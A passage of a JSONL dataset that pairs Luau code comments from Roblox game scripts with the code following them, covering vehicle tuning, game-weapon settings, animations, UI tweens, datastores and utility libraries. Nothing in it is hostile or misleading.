throttle at idle\n\tTune.ClutchTol\t\t= 700\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "-- LocalScript", "completion": "\n\nlocal numValue = Player.Eventos.Evento1 -- substitua \"NumValue\" pelo nome da sua NumberValue\nlocal textLabel = script.Parent -- substitua \"TextLabel\" pelo nome do seu TextLabel\n"} +{"prompt": "--[[\n\tUsed to decrease the number of consumers by 1, and if there are no more,\n\tcancel this promise.\n]]", "completion": "\nfunction Promise.prototype:_consumerCancelled(consumer)\n\tif self._status ~= Promise.Status.Started then\n\t\treturn\n\tend\n\n\tself._consumers[consumer] = nil\n\n\tif next(self._consumers) == nil then\n\t\tself:cancel()\n\tend\nend\n"} +{"prompt": "--[[\n\t\n\tTouchThumbstick\n\t\n--]]", "completion": "\nlocal Players = game:GetService(\"Players\")\nlocal GuiService = game:GetService(\"GuiService\")\nlocal UserInputService = game:GetService(\"UserInputService\")"} +{"prompt": "-----------------\n--| Variables |--\n-----------------", "completion": "\n\nlocal PlayersService = Game:GetService('Players')\n\nlocal Tool = script.Parent\nlocal ToolHandle = Tool.Handle\n\nlocal ReloadSound = WaitForChild(ToolHandle, 'ReloadSound')\nlocal EquipSound = WaitForChild(ToolHandle, 'Equip')\n\nlocal MyModel = nil\nlocal MyPlayer = nil\n"} +{"prompt": "-- Water off", "completion": "\nfaucet.WaterOffSet.Interactive.ClickDetector.MouseClick:Connect(function()\n\tfaucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame)\n\tp.HotOn.Value = false\n\tp.ColdOn.Value = false\nend)\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nCharacters = require(script.Characters)\n\nThis.Parent.Parent.Parent.Parent.Parent:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(3,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"Matrix\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,5 do\t\n\t\t\t\tThis.Display[\"Matrix\"..ID][\"Row\"..i][\"D\"..r].Visible = (l:sub(r,r) == \"1\" and true or false)\n\t\t\tend\n\t\tend\n\tend\nend\n\nfor M = 1, Displays do\n\tfor R = 1, 7 do\n\t\tfor D = 1, 5 do\n\t\t\tThis.Display[\"Matrix\"..M][\"Row\"..R][\"D\"..D].ImageColor3 = DisplayColor\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Variables", "completion": "\nlocal RadioButtonGroup = script.Parent\nlocal RadioButtonGroupValue = RadioButtonGroup:FindFirstChildOfClass(\"ObjectValue\")\nlocal RadioButtons = {}\n"} +{"prompt": "-- anima\u00e7\u00e3o para o TextLabel", "completion": "\nlocal function animateTextLabel()\n\tlocal tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)\n\tlocal startingText = textLabel.Text\n\tlocal currentValue = tonumber(numValue.Value)\n\tlocal targetValue = currentValue\n\tlocal decimal = string.match(tostring(currentValue), \"%.(%d+)\")\n\tif decimal then\n\t\ttargetValue = math.floor(currentValue)\n\tend\n\tfor i = 1, 10^(#tostring(targetValue)-1) do\n\t\tlocal newValue = currentValue - (currentValue % i)\n\t\tif newValue == targetValue then\n\t\t\ttextLabel.Text = commaSeparateNumber(tostring(newValue)) .. (decimal and \".\" .. decimal or \"\")\n\t\t\tbreak\n\t\telse\n\t\t\ttextLabel.Text = commaSeparateNumber(tostring(newValue)) .. (decimal and \".\" .. decimal or \"\")\n\t\t\twait(0.05)\n\t\tend\n\tend\n\twait(0.5)\n\ttextLabel.Text = startingText\nend\n\nupdateTextLabel() -- atualiza o TextLabel ao iniciar o jogo\n"} +{"prompt": "--\t\t\t\tprint(name .. \" [\" .. idx .. \"] \" .. animTable[name][idx].anim.AnimationId .. \" (\" .. animTable[name][idx].weight .. \")\")", "completion": "\n\t\t\t\tidx = idx + 1\n\t\t\tend\n\t\tend\n\tend\n\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {13,17}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {6,10}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = .825\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .15\n\t,VPunchBase = 3.5\t\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 2\t\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 5 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.2\n\t,MinRecoilPower = .5\n\t,MaxRecoilPower = 3\n\t,RecoilPowerStepAmount = .25\n\t\n\t,MinSpread = 0.56\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 36\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 0.5\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.25\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t1.5\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "---[[ Channel Settings ]]", "completion": "\nmodule.GeneralChannelName = \"All\" -- You can set to nil to turn off echoing to a general channel."} +{"prompt": "--- Points", "completion": "\n Points.Value = Points1:GetAsync(Plr.UserId) or Points.Value\n\t Points1:SetAsync(Plr.UserId, Points.Value)\n Points.Changed:connect(function()\n\t Points1:SetAsync(Plr.UserId, Points.Value)\n end)\nend)\n\ngame.Players.PlayerAdded:Connect(function(plr)\n\twait(.1)\n\tlocal Exp = plr.Data.Exp\n\tlocal Levels = plr.Data.Levels\n\tlocal ExpNeed = plr.Data.ExpNeed\n\tlocal Points = plr.Data.Points\n\t\n\twhile wait() do\n\t\tif Exp.Value >= (100 * (Levels.Value + 1)) and Levels.Value <= 399 then\n\t\t\tLevels.Value = Levels.Value + 1\n\t\t\tPoints.Value = Points.Value + 3\n\t\t\tExp.Value = Exp.Value - ExpNeed.Value\n\t\t\tExpNeed.Value = ExpNeed.Value + 100\n\t\t\tgame.ReplicatedStorage.LevelSystem.LevelUpGui:FireClient(plr)\n\t\tend\n\tend\nend)\n\ngame.Players.PlayerRemoving:connect(function(Player)\n\tLevel1:SetAsync(Player.UserId, Player.Data.Levels.Value)\n\tBeli11:SetAsync(Player.UserId, Player.Data.Beli.Value)\n\tExp1:SetAsync(Player.UserId, Player.Data.Exp.Value)\n\tExpNeed1:SetAsync(Player.UserId, Player.Data.ExpNeed.Value)\n\tSwordP1:SetAsync(Player.UserId, Player.Data.SwordP.Value)\n\tDefenseP1:SetAsync(Player.UserId, Player.Data.DefenseP.Value)\n\tLuckP1:SetAsync(Player.UserId, Player.Data.LuckP.Value)\n\tSpecialP1:SetAsync(Player.UserId, Player.Data.SpecialP.Value)\n\tSword1:SetAsync(Player.UserId, Player.Data.Sword.Value)\n\tDefense1:SetAsync(Player.UserId, Player.Data.Defense.Value)\n\tLuck1:SetAsync(Player.UserId, Player.Data.Luck.Value)\n\tSpecial1:SetAsync(Player.UserId, Player.Data.Special.Value)\n\tPoints1:SetAsync(Player.UserId, Player.Data.Points.Value)\nend)\n"} +{"prompt": "--Main function", "completion": "\nlocal function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)\n\t\n\tlocal AnimObj\n\t\n\tlocal function Start()\n\t\tAnimObj = {}\n\t\tAnimObj[\"LastUpdate\"] = tick()\n\t\t\n\t\tAnimObj[\"Parts\"] = {}\n\t\t\n\t\tfor i = 1, 4 do\n\t\t\tlocal np = EFFECT_LIB.NewInvisiblePart()\n\t\t\tlocal fire = Instance.new(\"Fire\")\n\t\t\tfire.SecondaryColor = Color3.new(0,0,0)\n\t\t\tfire.Parent = np\n\t\t\t\n\t\t\tAnimObj[\"Parts\"][i] = np\n\t\n\t\t\tnp.Parent = eff_cont\n\t\tend\n\tend\n\t\n\tlocal function Update()\n\t\tlocal loop = EFFECT_LIB.Loop(3)\n\t\t\n\t\tfor i = 1, #AnimObj[\"Parts\"] do\n\t\t\tAnimObj[\"Parts\"][i].CFrame = source_part:GetRenderCFrame() * CFrame.Angles(0, math.rad(loop * 360 + (360 / #AnimObj[\"Parts\"] * (i - 1))), 0) * CFrame.new(0, -3, -1.5) * CFrame.Angles(math.rad(-55), 0, 0) * CFrame.Angles(0, 0, 0)\n\t\tend\n\tend\n\t\n\tlocal function Stop()\n\t\teff_cont:ClearAllChildren()\n\t\tAnimObj = nil\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachAuraControl\n"} +{"prompt": "--\t\t\tprint(name .. \" [\" .. idx .. \"] \" .. anim.id .. \" (\" .. anim.weight .. \")\")", "completion": "\n\t\tend\n\tend\nend\n"} +{"prompt": "-- for changing size", "completion": "\nfunction UITween.size(object, size, time, delay, override, callback)\n\t\n\tlocal tweenSize = TweenInfo.new(\n\t\ttime, --Time\n\t\tEnum.EasingStyle.Quint, --EasingStyle\n\t\tEnum.EasingDirection.Out, --EasingDirection\n\t\t0, --Repeat count\n\t\tfalse, --Reverses if true\n\t\tdelay, --Delay time\n\t\toverride,\n\t\tcallback\n\t)\n\t\n\tlocal tween = tweenService:Create(object, tweenSize, {Size = size})\n\ttween:Play()\n\nend\n\nfunction UITween.rotate(object, rotation, time, delay, override, callback)\n\n\tlocal tweenSize = TweenInfo.new(\n\t\ttime, --Time\n\t\tEnum.EasingStyle.Quint, --EasingStyle\n\t\tEnum.EasingDirection.Out, --EasingDirection\n\t\t0, --Repeat count\n\t\tfalse, --Reverses if true\n\t\tdelay, --Delay time\n\t\toverride,\n\t\tcallback\n\t)\n\n\tlocal tween = tweenService:Create(object, tweenSize, {Rotation = rotation})\n\ttween:Play()\n\nend\n"} +{"prompt": "--\t\tprint(\"Keyframe : \".. frameName)", "completion": "\n\t\tlocal repeatAnim = stopToolAnimations()\n\t\tplayToolAnimation(repeatAnim, 0.0, Humanoid)\n\tend\nend\n\n\nfunction playToolAnimation(animName, transitionTime, humanoid)\n\tif (animName ~= toolAnimName) then\t\t \n\t\t\n\t\tif (toolAnimTrack ~= nil) then\n\t\t\ttoolAnimTrack:Stop()\n\t\t\ttoolAnimTrack:Destroy()\n\t\t\ttransitionTime = 0\n\t\tend\n\n\t\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\t\tlocal origRoll = roll\n\t\tlocal idx = 1\n\t\twhile (roll > animTable[animName][idx].weight) do\n\t\t\troll = roll - animTable[animName][idx].weight\n\t\t\tidx = idx + 1\n\t\tend"} +{"prompt": "--\t\tprint(\"Loading anims \" .. name)", "completion": "\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\tlocal idx = 1\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject == nil) then\n\t\t\t\t\tanimTable[name][idx].weight = 1\n\t\t\t\telse\n\t\t\t\t\tanimTable[name][idx].weight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight"} +{"prompt": "--!strict\n--[[\n Returns true if A and B are 'similar' - i.e. any user of A would not need\n to recompute if it changed to B.\n]]", "completion": "\n\nlocal function isSimilar(a: any, b: any): boolean\n -- HACK: because tables are mutable data structures, don't make assumptions\n -- about similarity from equality for now (see issue #44)\n if typeof(a) == \"table\" then\n return false\n else\n return a == b\n end\nend\n\nreturn isSimilar\n"} +{"prompt": "--[[\n\t_table_listeners structure:\n\t\n\t\t_table_listeners = {\n\t\t\t[1] = {\n\t\t\t\t[\"key_of_table\"] = {\n\t\t\t\t\t[1] = {[\"key_of_table\"] = {...}, ...},\n\t\t\t\t\t[2] = {listener, ...} / nil, -- Change\n\t\t\t\t\t[3] = {listener, ...} / nil, -- NewKey\n\t\t\t\t\t[4] = {listener, ...} / nil, -- ArrayInsert\n\t\t\t\t\t[5] = {listener, ...} / nil, -- ArraySet\n\t\t\t\t\t[6] = {listener, ...} / nil, -- ArrayRemove\n\t\t\t\t},\n\t\t\t},\n\t\t\t[2] = {listener, ...} / nil, -- Change\n\t\t\t[3] = {listener, ...} / nil, -- NewKey\n\t\t\t[4] = {listener, ...} / nil, -- ArrayInsert\n\t\t\t[5] = {listener, ...} / nil, -- ArraySet\n\t\t\t[6] = {listener, ...} / nil, -- ArrayRemove\n\t\t}\n\n\t_function_listeners structure:\n\t\n\t\t_function_listeners = {\n\t\t\t[func_id] = {\n\t\t\t\tlistening_function, ...\n\t\t\t},\n\t\t\t...\n\t\t}\n--]]", "completion": "\n"} +{"prompt": "-- Re-export all top-level public types", "completion": "\nexport type ReactEmpty = ReactTypes.ReactEmpty\nexport type ReactFragment = ReactTypes.ReactFragment\nexport type ReactNodeList = ReactTypes.ReactNodeList\nexport type ReactProviderType = ReactTypes.ReactProviderType\nexport type ReactConsumer = ReactTypes.ReactConsumer\nexport type ReactProvider = ReactTypes.ReactProvider\nexport type ReactContext = ReactTypes.ReactContext\nexport type ReactPortal = ReactTypes.ReactPortal\nexport type RefObject = ReactTypes.RefObject\nexport type EventPriority = ReactTypes.EventPriority\nexport type ReactFundamentalComponentInstance = ReactTypes.ReactFundamentalComponentInstance\nexport type ReactFundamentalImpl = ReactTypes.ReactFundamentalImpl\nexport type ReactFundamentalComponent = ReactTypes.ReactFundamentalComponent\nexport type ReactScope = ReactTypes.ReactScope\nexport type ReactScopeQuery = ReactTypes.ReactScopeQuery\nexport type ReactScopeInstance = ReactTypes.ReactScopeInstance"} +{"prompt": "---------------\n--// Preset Variables\n---------------", "completion": "\nlocal Players = game.Players\nlocal Lighting = game.Lighting\nlocal ReplicatedStorage = game.ReplicatedStorage\nlocal RemoteEvents = ReplicatedStorage.RemoteEvents\nlocal STC = RemoteEvents.STC --// [STC] Send\nlocal CTS = RemoteEvents.CTS --// [CTS] Receive\nlocal RepAssets = ReplicatedStorage.RepAssets\nlocal TweenService = game:GetService(\"TweenService\")\nlocal DataStoreService = game:GetService(\"DataStoreService\")\nlocal ServerStorage = game.ServerStorage\nlocal StorageAssets = ServerStorage.StorageAssets\n\n\n"} +{"prompt": "-- State: Wether or not the light is on\n-- Mode: Auto (Sensor), On, or Off", "completion": "\n"} +{"prompt": "-- Assign hotkeys for deletion (left or right shift + X)", "completion": "\nAssignHotkey({ 'LeftShift', 'X' }, DeleteSelection);\nAssignHotkey({ 'RightShift', 'X' }, DeleteSelection);\n"} +{"prompt": "--(\"found vehicle gui - deleting\")", "completion": "\npl.PlayerGui:findFirstChild(\"VehicleGui\").Parent=nil"} +{"prompt": "--[[ Script Variables ]]", "completion": "--\nwhile not Players.LocalPlayer do\n\twait()\nend\nlocal LocalPlayer = Players.LocalPlayer\nlocal JumpButton = nil\nlocal OnInputEnded = nil\t\t-- defined in Create()\n"} +{"prompt": "-- Mapping from movement mode and lastInputType enum values to control modules to avoid huge if elseif switching", "completion": "\nlocal movementEnumToModuleMap = {\n\t[Enum.TouchMovementMode.DPad] = DynamicThumbstick,\n\t[Enum.DevTouchMovementMode.DPad] = DynamicThumbstick,\n\t[Enum.TouchMovementMode.Thumbpad] = DynamicThumbstick,\n\t[Enum.DevTouchMovementMode.Thumbpad] = DynamicThumbstick,\n\t[Enum.TouchMovementMode.Thumbstick] = TouchThumbstick,\n\t[Enum.DevTouchMovementMode.Thumbstick] = TouchThumbstick,\n\t[Enum.TouchMovementMode.DynamicThumbstick] = DynamicThumbstick,\n\t[Enum.DevTouchMovementMode.DynamicThumbstick] = DynamicThumbstick,\n\t[Enum.TouchMovementMode.ClickToMove] = ClickToMove,\n\t[Enum.DevTouchMovementMode.ClickToMove] = ClickToMove,\n\n\t-- Current default\n\t[Enum.TouchMovementMode.Default] = DynamicThumbstick,\n\n\t[Enum.ComputerMovementMode.Default] = Keyboard,\n\t[Enum.ComputerMovementMode.KeyboardMouse] = Keyboard,\n\t[Enum.DevComputerMovementMode.KeyboardMouse] = Keyboard,\n\t[Enum.DevComputerMovementMode.Scriptable] = nil,\n\t[Enum.ComputerMovementMode.ClickToMove] = ClickToMove,\n\t[Enum.DevComputerMovementMode.ClickToMove] = ClickToMove,\n}\n"} +{"prompt": "--\t\tprint(\"Keyframe : \".. frameName)", "completion": "\n\n\t\tlocal repeatAnim = currentAnim\n\t\t-- return to idle if finishing an emote\n\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\trepeatAnim = \"idle\"\n\t\tend\n\t\t\n\t\tlocal animSpeed = currentAnimSpeed\n\t\tplayAnimation(repeatAnim, 0.0, Humanoid)\n\t\tsetAnimationSpeed(animSpeed)\n\tend\nend\n"} +{"prompt": "-- Handle event fire", "completion": "\nlocal function toggleDoor(player, door)\n\tlocal motor = rightMotor\n\tif door == \"left\" then\n\t\tmotor = leftMotor\n\tend\n\t-- Check distance to the character's Torso. If too far, don't do anything\n\tif player.Character and player.Character:FindFirstChild(\"Torso\") then\t\n\t\tlocal torso = player.Character:FindFirstChild(\"Torso\")\n\t\tlocal toTorso = torso.Position - cabinet.Bottom.Position\n\t\tif toTorso.magnitude < clickDistance then\n\t\t\tif open then\n\t\t\t\tmotor.DesiredAngle = 0\n\t\t\t\topen = false\n\t\t\telse\n\t\t\t\tmotor.DesiredAngle = math.pi/2\n\t\t\t\topen = true\n\t\t\tend\n\t\tend\n\tend\nend\n\nfor _, Part in pairs(cabinet:GetChildren()) do\n\tif Part:FindFirstChild(\"ROBLOXInteractionEvent\") and (string.match(Part.Name, \"Door\") or string.match(Part.Name, \"Handle\") or string.match(Part.Name, \"Padding\")) then\n\t\tlocal event = Part:FindFirstChild(\"ROBLOXInteractionEvent\")\n\t\tlocal door = \"right\"\n\t\tif string.match(Part.Name, \"Left\") then\n\t\t\tdoor = \"left\"\n\t\tend\n\t\tevent.OnServerEvent:connect(function(player, arguments) toggleDoor(player, door) end)\n\tend\nend\n"} +{"prompt": "--- Interaction with SetCore Player events.", "completion": "\n\nlocal PlayerBlockedEvent = nil\nlocal PlayerMutedEvent = nil\nlocal PlayerUnBlockedEvent = nil\nlocal PlayerUnMutedEvent = nil\n\n"} +{"prompt": "-- Constructor", "completion": "\n\nlocal Camera = workspace.CurrentCamera\nlocal Looping = false\nlocal Speed = 1\nlocal FreezeControls = false\n"} +{"prompt": "--!strict", "completion": "\nlocal LuauPolyfill = script.Parent.Parent\nlocal types = require(LuauPolyfill.types)\ntype Array = types.Array\ntype Object = types.Object\ntype callbackFn = (element: T, index: number, array: Array) -> ()\ntype callbackFnWithThisArg = (thisArg: U, element: T, index: number, array: Array) -> ()\n"} +{"prompt": "--Runtime Loop", "completion": "\nwhile wait() do\n\tfor i,v in pairs(Wheels) do\n\t\t--Vars\n\t\tlocal speed = car.DriveSeat.Velocity.Magnitude\n\t\tlocal wheel = v.wheel.RotVelocity.Magnitude\n\t\tlocal z = 0\t\t\n\t\tlocal deg = 0.000126\n\t\t\n\t\t--Tire Wear\n\t\tlocal cspeed = (speed/1.298)*(2.6/v.wheel.Size.Y) \n\t\tlocal wdif = math.abs(wheel-cspeed)\n\t\tif _WHEELTUNE.TireWearOn then\n\t\t\tif speed < 4 then\n\t\t\t\t--Wear Regen\n\t\t\t\tv.Heat = math.min(v.Heat + _WHEELTUNE.RegenSpeed/10000,v.BaseHeat)\n\t\t\telse\n\t\t\t\t--Tire Wear\n\t\t\t\tif wdif > 1 then\n\t\t\t\t\tv.Heat = v.Heat - wdif*deg*v.WearSpeed/28\n\t\t\t\telseif v.Heat >= v.BaseHeat then\n\t\t\t\t\tv.Heat = v.BaseHeat\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Apply Friction\n\t\tif v.wheel.Name == \"FL\" or v.wheel.Name == \"FR\" or v.wheel.Name == \"F\" then\n\t\t\tz = _WHEELTUNE.FMinFriction+v.Heat\n\t\t\tdeg = ((deg - 0.0001188*cValues.Brake.Value)*(1-math.abs(cValues.SteerC.Value))) + 0.00000126*math.abs(cValues.SteerC.Value)\n\t\telse\n\t\t\tz = _WHEELTUNE.RMinFriction+v.Heat\n\t\tend\n\t\t\n\t\t--Tire Slip\n\t\tif math.ceil((wheel/0.774/speed)*100) < 8 then\n\t\t\t--Lock Slip\n\t\t\tv.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelLockRatio,v.elast,v.fWeight,v.eWeight)\n\t\t\tv.Heat = math.max(v.Heat,0)\n\t\telseif (_Tune.TCSEnabled and cValues.TCS.Value == false and math.ceil((wheel/0.774/speed)*100) > 80) then\n\t\t\t--TCS Off\n\t\t\tv.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.TCSOffRatio,v.elast,v.fWeight,v.eWeight)\n\t\t\tv.Heat = math.max(v.Heat,0)\n\t\telseif math.ceil((wheel/0.774/speed)*100) > 130 then\n\t\t\t--Wheelspin\n\t\t\tv.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelspinRatio,v.elast,v.fWeight,v.eWeight)\t\t\n\t\t\tv.Heat = math.max(v.Heat,0)\n\t\telse\n\t\t\t--No Slip\n\t\t\tv.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z,v.elast,v.fWeight,v.eWeight)\n\t\t\tv.Heat = math.min(v.Heat,v.BaseHeat)\n\t\tend \n\t\t\n\t\t--Update UI\n\t\tlocal vstress = math.abs(((((wdif+cspeed)/0.774)*0.774)-cspeed)/15)\n\t\tif vstress > 0.05 and vstress > v.stress then \n\t\t\tv.stress = math.min(v.stress + 0.03,1)\n\t\telse\n\t\t\tv.stress = math.max(v.stress - 0.03,vstress)\t\n\t\tend\n\t\tscript.Parent:WaitForChild(\"Tires\")\n\t\tlocal UI = script.Parent.Tires[v.wheel.Name]\n\t\tUI.First.Second.Image.ImageColor3 = Color3.new(math.min((v.stress*2),1), 1-v.stress, 0)\n\t\tUI.First.Position = UDim2.new(0,0,1-v.Heat/v.BaseHeat,0)\n\t\tUI.First.Second.Position = UDim2.new(0,0,v.Heat/v.BaseHeat,0)\n\tend\nend\n"} +{"prompt": "--[[\n\tStores shared state for dependency management functions.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal Types = require(Package.Types)\n\ntype SharedState = {\n\tdependencySet: Types.Set>?,\n\n\tinitialisedStack: {Types.Set>},\n\tinitialisedStackSize: number\n}\n\nlocal sharedState: SharedState = {\n\t-- The set where used dependencies should be saved to.\n\tdependencySet = nil,\n\n\t-- A stack of sets where newly created dependencies should be stored.\n\tinitialisedStack = {},\n\tinitialisedStackSize = 0\n}\n\nreturn sharedState\n"} +{"prompt": "-- Remote variables", "completion": "\nlocal RemoteFolder = script.Parent.Parent:WaitForChild(\"RemoteEvents\")\nlocal TiltRemote = RemoteFolder:WaitForChild(\"TiltRemote\")\nlocal PlaySound = RemoteFolder:WaitForChild(\"PlaySound\")\nlocal StopSound = RemoteFolder:WaitForChild(\"StopSound\")\nlocal ChangeSound = RemoteFolder:WaitForChild(\"ChangeSound\")\nlocal AnchorSegway = RemoteFolder:WaitForChild(\"AnchorSegway\")\nlocal UndoTags = RemoteFolder:WaitForChild(\"UndoTags\")\nlocal UndoHasWelded = RemoteFolder:WaitForChild(\"UndoHasWelded\")\nlocal DeleteWelds = RemoteFolder:WaitForChild(\"DeleteWelds\")\nlocal ConfigHumanoid = RemoteFolder:WaitForChild(\"ConfigHumanoid\")\nlocal ConfigLights = RemoteFolder:WaitForChild(\"ConfigLights\")\n"} +{"prompt": "--[[Read line 24 of the script. Just edit the word \"D4Tide\" to whatever the gun name you want. The gun must be in the lighting for this to work. I'd reccomend you add a regen.]]", "completion": "\n\nlocal debounce = false\n\nfunction getPlayer(humanoid) \nlocal players = game.Players:children() \nfor i = 1, #players do \nif players[i].Character.Humanoid == humanoid then return players[i] end \nend \nreturn nil \nend \n\nfunction onTouch(part) \n\nlocal human = part.Parent:findFirstChild(\"Humanoid\") \nif (human ~= nil) and debounce == false then\n\ndebounce = true\n\nlocal player = getPlayer(human) \n\nif (player == nil) then return end \n\ngame.Lighting.Uzi:clone().Parent = player.Backpack\n\nwait(5)\ndebounce = false\nend\nend\n\n\nscript.Parent.Touched:connect(onTouch)\n"} +{"prompt": "--[[\n\tVRBaseCamera - Base class for VR camera\n\t2021 Roblox VR\n--]]", "completion": "\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ OUTROS ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,FastReload = true\t\t\t\t\t--- Automatically operates the bolt on reload if needed\n\t,SlideLock = true\n\t,MoveBolt = false\n\t,BoltLock = false\n\t,CanBreachDoor = false\n\t,CanBreak = true\t\t\t\t\t--- Weapon can jam?\n\t,JamChance = 1000\t\t\t\t\t--- This old piece of brick doesn't work fine >;c\n\t,IncludeChamberedBullet = true\t\t--- Include the chambered bullet on next reload\n\t,Chambered = true\t\t\t\t\t--- Start with the gun chambered?\n\t,LauncherReady = false\t\t\t\t--- Start with the GL ready?\n\t,CanCheckMag = true\t\t\t\t\t--- You can check the magazine\n\t,ArcadeMode = false\t\t\t\t\t--- You can see the bullets left in magazine\n\t,RainbowMode = false\t\t\t\t--- Operation: Party Time xD\n\t,ModoTreino = false\t\t\t\t\t--- Surrender enemies instead of killing them\n\t,GunSize = 4.5\n\t,GunFOVReduction = 5\n\n\t,BoltExtend = Vector3.new(0, 0, 0.4)\n\t,SlideExtend = Vector3.new(0, 0, 0.4)\t"} +{"prompt": "-- Gradually regenerates the Humanoid's Health over time.", "completion": "\n\nlocal REGEN_RATE = 1/15 -- Regenerate this fraction of MaxHealth per second.\nlocal REGEN_STEP = 1 -- Wait this long between each regeneration step.\n"} +{"prompt": "-- Based on https://developmentarc.gitbooks.io/react-indepth/content/life_cycle/update/using_should_component_update.html", "completion": "\nfunction TableUtils.shallowEqual(left, right)\n\tif left == right then\n\t\treturn true\n\tend\n\tif type(left) ~= \"table\" or type(right) ~= \"table\" then\n\t\treturn false\n\tend\n\tlocal leftKeys = TableUtils.keys(left)\n\tlocal rightKeys = TableUtils.keys(right)\n\tif #leftKeys ~= #rightKeys then\n\t\treturn false\n\tend\n\treturn TableUtils.all(\n\t\tleft,\n\t\tfunction(value, key)\n\t\t\treturn value == right[key]\n\t\tend\n\t)\nend\n\nfunction TableUtils.serialize(input, serializer)\n\tserializer = serializer or function(value)\n\t\t\treturn tostring(value)\n\t\tend\n\tassert(type(input) == \"table\")\n\tassert(type(serializer) == \"function\")\n\treturn \"{\" ..\n\t\ttable.concat(\n\t\t\tTableUtils.map(\n\t\t\t\tinput,\n\t\t\t\tfunction(element, i)\n\t\t\t\t\treturn tostring(i) .. \"=\" .. serializer(element)\n\t\t\t\tend\n\t\t\t),\n\t\t\t\",\"\n\t\t) ..\n\t\t\t\"}\"\nend\n\nfunction TableUtils.append(...)\n\tlocal result = {}\n\tfor i = 1, select(\"#\", ...) do\n\t\tlocal x = select(i, ...)\n\t\tif type(x) == \"table\" then\n\t\t\tfor _, y in ipairs(x) do\n\t\t\t\ttable.insert(result, y)\n\t\t\tend\n\t\telse\n\t\t\ttable.insert(result, x)\n\t\tend\n\tend\n\n\treturn result\nend\n\nfunction TableUtils.sort(input, comparator)\n\tassert(tea.table(input), input)\n\n\tlocal FunctionUtils = require(script.Parent.FunctionUtils)\n\tassert(comparator == nil or FunctionUtils.isCallable(comparator), \"comparator must be callable or nil\")\n\n\tcomparator = comparator or function(a, b)\n\t\t\treturn a < b\n\t\tend\n\n\ttable.sort(\n\t\tinput,\n\t\tfunction(a, b)\n\t\t\tlocal result = comparator(a, b)\n\n\t\t\tif type(result) ~= \"boolean\" and result ~= nil then\n\t\t\t\terror(\"sort comparator must return a boolean or nil\")\n\t\t\tend\n\n\t\t\treturn result\n\t\tend\n\t)\n\n\treturn input\nend\n\nreturn TableUtils\n"} +{"prompt": "--// Services", "completion": "\nlocal UIS = game:GetService(\"UserInputService\")\n\tlocal IB = UIS.InputBegan\n\tlocal IE = UIS.InputEnded\n\tlocal IC = UIS.InputChanged\n\tlocal JR = UIS.JumpRequest\n\nlocal RST = game:GetService(\"RunService\").RenderStepped\n"} +{"prompt": "--// Tables", "completion": "\nlocal L_94_ = 